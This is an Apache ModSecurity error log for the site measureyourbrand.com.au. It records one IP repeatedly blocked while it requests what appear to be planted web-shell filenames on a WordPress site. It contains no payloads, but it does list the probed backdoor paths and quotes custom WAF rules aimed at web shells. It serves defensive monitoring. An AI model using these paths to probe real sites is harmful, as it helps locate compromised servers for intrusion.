[Tue Apr 21 23:17:43.510795 2026] [:error] [pid 35321:tid 35384] [client 51.120.72.131:21264] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeeVFzeHLhVUuu8cVXwLlAAAAEA"]
[Tue Apr 21 23:17:44.832892 2026] [:error] [pid 35415:tid 35445] [client 51.120.72.131:23347] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeeVGEiqDinI4_22zziBgQAAANI"]
[Tue Apr 21 23:17:46.253920 2026] [:error] [pid 35320:tid 35343] [client 51.120.72.131:39703] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeeVGoJW6fdXWO6agMEX1wAAAA0"]
[Tue Apr 21 23:17:48.076648 2026] [:error] [pid 35320:tid 35330] [client 51.120.72.131:26756] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeeVHIJW6fdXWO6agMEX6QAAAAA"]
[Tue Apr 21 23:17:49.206825 2026] [:error] [pid 35320:tid 35333] [client 51.120.72.131:29319] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeeVHYJW6fdXWO6agMEX9gAAAAM"]
[Tue Apr 21 23:17:50.779692 2026] [:error] [pid 53731:tid 53755] [client 51.120.72.131:19969] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeeVHl2I9THUR-bRVGyfIwAAAhM"]
[Tue Apr 21 23:17:53.133537 2026] [:error] [pid 54080:tid 54105] [client 51.120.72.131:20946] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeeVIYzEbQHHxtmWbabcSgAAAtc"]
[Tue Apr 21 23:17:56.417622 2026] [:error] [pid 53731:tid 53739] [client 51.120.72.131:37436] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeeVJF2I9THUR-bRVGyfRAAAAgQ"]
[Tue Apr 21 23:17:57.955684 2026] [:error] [pid 4777:tid 4806] [client 51.120.72.131:33660] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeeVJaxXur6bykKyLZS7PwAAARI"]
[Tue Apr 21 23:18:00.191940 2026] [:error] [pid 35320:tid 35349] [client 51.120.72.131:22580] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeeVKIJW6fdXWO6agMEYKwAAABM"]
[Tue Apr 21 23:18:01.468103 2026] [:error] [pid 53978:tid 53988] [client 51.120.72.131:59954] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeeVKZ1ivsR4hcOSQbZM0AAAAog"]
[Tue Apr 21 23:18:05.893449 2026] [:error] [pid 4777:tid 4804] [client 51.120.72.131:30516] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeeVLaxXur6bykKyLZS7SwAAARA"]
[Tue Apr 21 23:18:08.240092 2026] [:error] [pid 35321:tid 35399] [client 51.120.72.131:22548] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeeVMDeHLhVUuu8cVXwLywAAAE8"]
[Tue Apr 21 23:18:28.771383 2026] [:error] [pid 35320:tid 35354] [client 51.120.72.131:39774] [client 51.120.72.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeeVRIJW6fdXWO6agMEZYgAAABg"]
[Tue Apr 21 23:19:13.919876 2026] [:error] [pid 4823:tid 4857] [client 51.120.72.131:20703] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeeVcfc8mke3PfHqsxESAAAAAYQ"]
[Tue Apr 21 23:19:35.713287 2026] [:error] [pid 4823:tid 4870] [client 51.120.72.131:19292] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeeVh_c8mke3PfHqsxESHQAAAZE"]
[Tue Apr 21 23:19:37.651633 2026] [:error] [pid 35320:tid 35331] [client 51.120.72.131:19098] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeeViYJW6fdXWO6agMEa8wAAAAE"]
[Tue Apr 21 23:19:40.704911 2026] [:error] [pid 35320:tid 35351] [client 51.120.72.131:28738] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeeVjIJW6fdXWO6agMEbGQAAABU"]
[Tue Apr 21 23:19:42.283692 2026] [:error] [pid 53731:tid 53755] [client 51.120.72.131:21595] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeeVjl2I9THUR-bRVGygWwAAAhM"]
[Tue Apr 21 23:19:51.285634 2026] [:error] [pid 53978:tid 53983] [client 51.120.72.131:28788] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aeeVl51ivsR4hcOSQbZN7AAAAoM"]
[Tue Apr 21 23:19:56.667968 2026] [:error] [pid 35320:tid 35350] [client 51.120.72.131:32115] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aeeVnIJW6fdXWO6agMEbswAAABQ"]
[Tue Apr 21 23:20:07.600792 2026] [:error] [pid 35320:tid 35354] [client 51.120.72.131:53821] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeeVp4JW6fdXWO6agMEb3wAAABg"]
[Tue Apr 21 23:20:09.449468 2026] [:error] [pid 35320:tid 35331] [client 51.120.72.131:32070] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeeVqYJW6fdXWO6agMEb7wAAAAE"]
[Tue Apr 21 23:20:11.079521 2026] [:error] [pid 54080:tid 54096] [client 51.120.72.131:32103] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeeVq4zEbQHHxtmWbabd-wAAAs4"]
[Tue Apr 21 23:20:12.804301 2026] [:error] [pid 35415:tid 35446] [client 51.120.72.131:3571] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeeVrEiqDinI4_22zziCIAAAANM"]
[Tue Apr 21 23:20:25.396560 2026] [:error] [pid 35320:tid 35344] [client 51.120.72.131:53803] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aeeVuYJW6fdXWO6agMEcTwAAAA4"]
[Tue Apr 21 23:20:27.113378 2026] [:error] [pid 35320:tid 35337] [client 51.120.72.131:40230] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aeeVu4JW6fdXWO6agMEcVwAAAAc"]
[Tue Apr 21 23:20:28.980109 2026] [:error] [pid 35320:tid 35331] [client 51.120.72.131:39498] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aeeVvIJW6fdXWO6agMEcaQAAAAE"]
[Tue Apr 21 23:20:30.595988 2026] [:error] [pid 53832:tid 53852] [client 51.120.72.131:39507] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aeeVvtzkuxsE_OhM9UKFfgAAAlE"]
[Tue Apr 21 23:20:34.837713 2026] [:error] [pid 35321:tid 35393] [client 51.120.72.131:33984] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aeeVwjeHLhVUuu8cVXwNXgAAAEk"]
[Tue Apr 21 23:20:38.848213 2026] [:error] [pid 35320:tid 35352] [client 51.120.72.131:4014] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aeeVxoJW6fdXWO6agMEcoAAAABY"]
[Tue Apr 21 23:20:42.606197 2026] [:error] [pid 53832:tid 53859] [client 51.120.72.131:34362] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aeeVytzkuxsE_OhM9UKFigAAAlg"]
[Tue Apr 21 23:20:44.230173 2026] [:error] [pid 35415:tid 35433] [client 51.120.72.131:19474] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aeeVzEiqDinI4_22zziCLAAAAMY"]
[Tue Apr 21 23:20:46.098918 2026] [:error] [pid 35320:tid 35350] [client 51.120.72.131:32450] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aeeVzoJW6fdXWO6agMEcyAAAABQ"]
[Tue Apr 21 23:20:48.131136 2026] [:error] [pid 53731:tid 53735] [client 51.120.72.131:34344] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aeeV0F2I9THUR-bRVGygvAAAAgA"]
[Tue Apr 21 23:20:49.663898 2026] [:error] [pid 35321:tid 35393] [client 51.120.72.131:21316] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aeeV0TeHLhVUuu8cVXwNcQAAAEk"]
[Tue Apr 21 23:20:50.959005 2026] [:error] [pid 35321:tid 35397] [client 51.120.72.131:32769] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aeeV0jeHLhVUuu8cVXwNewAAAE0"]
[Tue Apr 21 23:20:52.059068 2026] [:error] [pid 4823:tid 4872] [client 51.120.72.131:32508] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aeeV1Pc8mke3PfHqsxESRwAAAZM"]
[Tue Apr 21 23:20:53.139015 2026] [:error] [pid 4823:tid 4864] [client 51.120.72.131:32511] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aeeV1fc8mke3PfHqsxESSwAAAYs"]
[Tue Apr 21 23:20:54.310953 2026] [:error] [pid 35320:tid 35334] [client 51.120.72.131:19881] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aeeV1oJW6fdXWO6agMEc2gAAAAQ"]
[Tue Apr 21 23:20:55.035166 2026] [:error] [pid 35321:tid 35389] [client 51.120.72.131:22466] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aeeV1zeHLhVUuu8cVXwNjQAAAEU"]
[Tue Apr 21 23:20:58.069883 2026] [:error] [pid 53731:tid 53745] [client 51.120.72.131:19898] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aeeV2l2I9THUR-bRVGygxwAAAgo"]
[Tue Apr 21 23:21:03.397748 2026] [:error] [pid 35321:tid 35397] [client 51.120.72.131:32474] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aeeV3zeHLhVUuu8cVXwNsgAAAE0"]
[Tue Apr 21 23:21:06.343829 2026] [:error] [pid 54080:tid 54103] [client 51.120.72.131:3932] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aeeV4ozEbQHHxtmWbabeMgAAAtU"]
[Tue Apr 21 23:21:07.867286 2026] [:error] [pid 53832:tid 53842] [client 51.120.72.131:33235] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aeeV49zkuxsE_OhM9UKFkwAAAkc"]
[Tue Apr 21 23:21:08.952901 2026] [:error] [pid 4823:tid 4864] [client 51.120.72.131:24604] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "aeeV5Pc8mke3PfHqsxESXgAAAYs"]
[Tue Apr 21 23:21:11.478962 2026] [:error] [pid 35321:tid 35386] [client 51.120.72.131:3871] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "aeeV5zeHLhVUuu8cVXwNxgAAAEI"]
[Tue Apr 21 23:21:13.203085 2026] [:error] [pid 53731:tid 53750] [client 51.120.72.131:26765] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "aeeV6V2I9THUR-bRVGyg0QAAAg8"]
[Tue Apr 21 23:21:15.421347 2026] [:error] [pid 35321:tid 35388] [client 51.120.72.131:28351] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "aeeV6zeHLhVUuu8cVXwNzgAAAEQ"]
[Tue Apr 21 23:21:16.389780 2026] [:error] [pid 53731:tid 53753] [client 51.120.72.131:3655] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeeV7F2I9THUR-bRVGyg1wAAAhE"]
[Tue Apr 21 23:21:17.722844 2026] [:error] [pid 35320:tid 35338] [client 51.120.72.131:20815] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeeV7YJW6fdXWO6agMEdFAAAAAg"]
[Tue Apr 21 23:21:18.922428 2026] [:error] [pid 53832:tid 53845] [client 51.120.72.131:22798] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeeV7tzkuxsE_OhM9UKFmQAAAko"]
[Tue Apr 21 23:21:20.022975 2026] [:error] [pid 35320:tid 35336] [client 51.120.72.131:28344] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeeV8IJW6fdXWO6agMEdGgAAAAY"]
[Tue Apr 21 23:21:21.075522 2026] [:error] [pid 35320:tid 35342] [client 51.120.72.131:3421] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "aeeV8YJW6fdXWO6agMEdIgAAAAw"]
[Tue Apr 21 23:21:21.963248 2026] [:error] [pid 35321:tid 35398] [client 51.120.72.131:23160] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "aeeV8TeHLhVUuu8cVXwN2QAAAE4"]
[Tue Apr 21 23:21:22.804652 2026] [:error] [pid 35321:tid 35387] [client 51.120.72.131:28303] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "aeeV8jeHLhVUuu8cVXwN3QAAAEM"]
